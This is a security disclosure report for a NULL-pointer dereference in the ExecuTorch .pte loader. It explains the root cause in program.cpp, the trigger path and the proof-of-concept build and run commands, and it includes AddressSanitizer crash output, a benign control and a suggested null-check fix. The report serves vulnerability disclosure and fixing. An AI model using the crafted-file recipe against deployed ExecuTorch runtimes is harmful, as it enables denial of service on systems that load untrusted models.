| # ExecuTorch `.pte` loader: NULL-pointer dereference in `Program::get_backend_delegate_data()` (missing `backend_delegate_data` field) |
| |
| ## Summary |
| |
| A structurally-valid, fully-verified ExecuTorch `.pte` model triggers a NULL-pointer |
| dereference (SIGSEGV, READ at address `0x0`) the moment a method is loaded via |
| `Program::load_method()`. The crash occurs in |
| `executorch::runtime::Program::get_backend_delegate_data()` |
| (`runtime/executor/program.cpp:538-546`), which calls `data_list->size()` on the |
| result of the generated flatbuffers accessor `backend_delegate_data()` **without a |
| null check**. |
|
|
| - **Target:** `pytorch/executorch` runtime (`.pte` model loader) |
| - **Commit:** `a6d812a082df57898b8608f56c867140cc9da32c` |
| - **Component:** `runtime/executor/program.cpp` — `Program::get_backend_delegate_data()` |
| - **Class:** CWE-476 (NULL Pointer Dereference) |
| - **Impact:** Denial of Service when loading an untrusted/attacker-supplied `.pte`. |
| The crash fires even under `Program::Verification::InternalConsistency` — the |
| **strongest** verification mode ExecuTorch offers, which the malicious file passes |
| cleanly before crashing at method-load time. |
|
|
| ## Root cause |
|
|
| `runtime/executor/program.cpp:538-546`: |
|
|
| ```cpp |
| Error Program::get_backend_delegate_data( |
| size_t index, |
| const void** out_data, |
| size_t* out_size) const { |
| const auto* data_list = |
| static_cast<const executorch_flatbuffer::Program*>(internal_program_) |
| ->backend_delegate_data(); // nullptr when the field is absent |
| ET_CHECK_OR_RETURN_ERROR( |
| index < data_list->size(), // <-- data_list->size() derefs nullptr |
| InvalidArgument, |
| "index %zu >= list size %" PRIu32, |
| index, |
| data_list->size()); |
| ... |
| ``` |
|
|
| `Program.backend_delegate_data` is **not** marked `(required)` in |
| `schema/program.fbs` (line 506): |
|
|
| ``` |
| // schema/program.fbs (line ~506) |
| table Program { |
| ... |
| // Tables of constant data, used for keeping the constant data away from the |
| // program. |
| backend_delegate_data:[BackendDelegateInlineData]; // NOT (required) |
| ... |
| } |
| ``` |
|
|
| Because the field is optional, a legal FlatBuffer may omit it entirely. The |
| flatc-generated accessor `Program::backend_delegate_data()` then returns `nullptr`, |
| and the subsequent `data_list->size()` call |
| (`third-party/flatbuffers/include/flatbuffers/vector.h:164`) dereferences a null |
| `Vector` pointer, producing a SEGV read at `0x0`. |
|
|
| ## Trigger path |
|
|
| The malicious file contains a `BackendDelegate` whose `processed` reference is |
| **present** with `location = INLINE, index = 0`, while the top-level |
| `Program.backend_delegate_data` vector is **absent**: |
|
|
| ``` |
| Program::load_method("forward") |
| -> Method::init() method.cpp:971 |
| -> BackendDelegate::Init() method.cpp:97 |
| -> BackendDelegate::GetProcessedData() [INLINE case] method.cpp:202 |
| -> Program::get_backend_delegate_data(0) program.cpp:541 |
| -> data_list->size() // data_list == nullptr => SEGV read @ 0x0 |
| ``` |
|
|
| ## Proof of Concept |
|
|
| - `build_pte.cpp` builds the malicious `.pte` using flatc-generated ExecuTorch |
| schema headers: one `ExecutionPlan` named `"forward"` containing one |
| `BackendDelegate { id = "TESTBACKEND", processed = BackendDelegateDataReference |
| { location = INLINE, index = 0 } }`, while the top-level |
| `Program.backend_delegate_data` vector is omitted (serialized offset `0`). |
| - `build_pte_benign.cpp` builds an otherwise identical `benign.pte` that DOES |
| include a `backend_delegate_data` vector with one entry (negative control). |
| - `harness.cpp` is compiled with `-fsanitize=address` against the **real** |
| ExecuTorch runtime sources. It registers a no-op backend `"TESTBACKEND"`, loads |
| the file with `Program::load(loader, Program::Verification::InternalConsistency)` |
| (which PASSES), then calls `program.load_method("forward")`. |
|
|
| Build/run: |
|
|
| ``` |
| bash build.sh # builds build_pte + ASan harness |
| ./build_pte malicious.pte |
| ASAN_OPTIONS=detect_leaks=0 ./harness_asan malicious.pte # SEGV |
| ./build_pte_benign benign.pte |
| ASAN_OPTIONS=detect_leaks=0 ./harness_asan benign.pte # no crash (control) |
| ``` |
|
|
| ## Captured evidence (verbatim) |
|
|
| Malicious input (`malicious.pte`, `backend_delegate_data` omitted): |
|
|
| ``` |
| [harness] Program::load(InternalConsistency) ... |
| [harness] Program::load() OK (passed full verification). Loading method "forward" ... |
| AddressSanitizer:DEADLYSIGNAL |
| ==1961067==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5643edbd2475 bp 0x7ffe118bdf80 sp 0x7ffe118bdf60 T0) |
| ==1961067==The signal is caused by a READ memory access. |
| ==1961067==Hint: address points to the zero page. |
| #0 0x5643edbd2475 in flatbuffers::Vector<flatbuffers::Offset<executorch_flatbuffer::BackendDelegateInlineData>, unsigned int>::size() const .../third-party/flatbuffers/include/flatbuffers/vector.h:164:44 |
| #1 0x5643edbcf4bd in executorch::runtime::Program::get_backend_delegate_data(unsigned long, void const**, unsigned long*) const .../runtime/executor/program.cpp:541:3 |
| #2 0x5643edbc0b3a in executorch::runtime::BackendDelegate::GetProcessedData(executorch_flatbuffer::BackendDelegate const&, executorch::runtime::Program const*) .../runtime/executor/method.cpp:202:30 |
| #3 0x5643edbb974d in executorch::runtime::BackendDelegate::Init(executorch_flatbuffer::BackendDelegate const&, executorch::runtime::Program const*, executorch::runtime::BackendInitContext&, executorch::runtime::BackendDelegate*) .../runtime/executor/method.cpp:97:45 |
| #4 0x5643edbaa326 in executorch::runtime::Method::init(executorch_flatbuffer::ExecutionPlan*, executorch::runtime::NamedDataMap const*, executorch::runtime::LoadBackendOptionsMap const*) .../runtime/executor/method.cpp:971:19 |
| #5 0x5643edba90bc in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862:22 |
| #6 0x5643edbcdd11 in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:392:10 |
| #7 0x5643edba07ed in main .../bug_backend_delegate_data/harness.cpp:82:15 |
| #8 0x7ff10773bf76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) |
| #9 0x7ff10773c026 in __libc_start_main |
| #10 0x5643edab5420 in _start |
| |
| ==1961067==Register values: |
| rax = 0x0000000000000000 ... rdi = 0x0000000000000000 ... |
| AddressSanitizer can not provide additional info. |
| SUMMARY: AddressSanitizer: SEGV .../third-party/flatbuffers/include/flatbuffers/vector.h:164:44 in flatbuffers::Vector<flatbuffers::Offset<executorch_flatbuffer::BackendDelegateInlineData>, unsigned int>::size() const |
| ==1961067==ABORTING |
| ``` |
|
|
| Negative control (`benign.pte`, `backend_delegate_data` present with one entry) — |
| **no crash**; load proceeds past the delegate to an unrelated later error: |
|
|
| ``` |
| [harness] Program::load(InternalConsistency) ... |
| [harness] Program::load() OK (passed full verification). Loading method "forward" ... |
| E 00:00:00.000266 executorch:method.cpp:987] No chains |
| load_method returned error (no crash): 0x23 |
| ``` |
|
|
| ## Distinct from prior findings |
|
|
| This is a separate defect from the other known ExecuTorch delegate-loader |
| null-dereferences: |
|
|
| - **NOT** the CompileSpec `key`/`value` nullderef (`method.cpp`, |
| `PopulateCompileSpecs`). |
| - **NOT** the `processed`-absent nullderef (`GetProcessedData`, `method.cpp:197`, |
| `processed->location()`). In this PoC `processed` **IS present** |
| (`location = INLINE, index = 0`); the crash occurs one call deeper, in a |
| **different source file** (`program.cpp`), on a missing null-check of a |
| **different, Program-level schema field** (`backend_delegate_data`). |
| - **NOT** the `.ptd` `FlatTensorDataMap` nullderef. |
|
|
| ## Suggested fix |
|
|
| Null-check `data_list` in `get_backend_delegate_data()` before use: |
|
|
| ```cpp |
| const auto* data_list = ...->backend_delegate_data(); |
| ET_CHECK_OR_RETURN_ERROR( |
| data_list != nullptr, NotFound, |
| "Program has no backend_delegate_data but an INLINE delegate references it"); |
| ET_CHECK_OR_RETURN_ERROR(index < data_list->size(), InvalidArgument, ...); |
| ``` |
|
|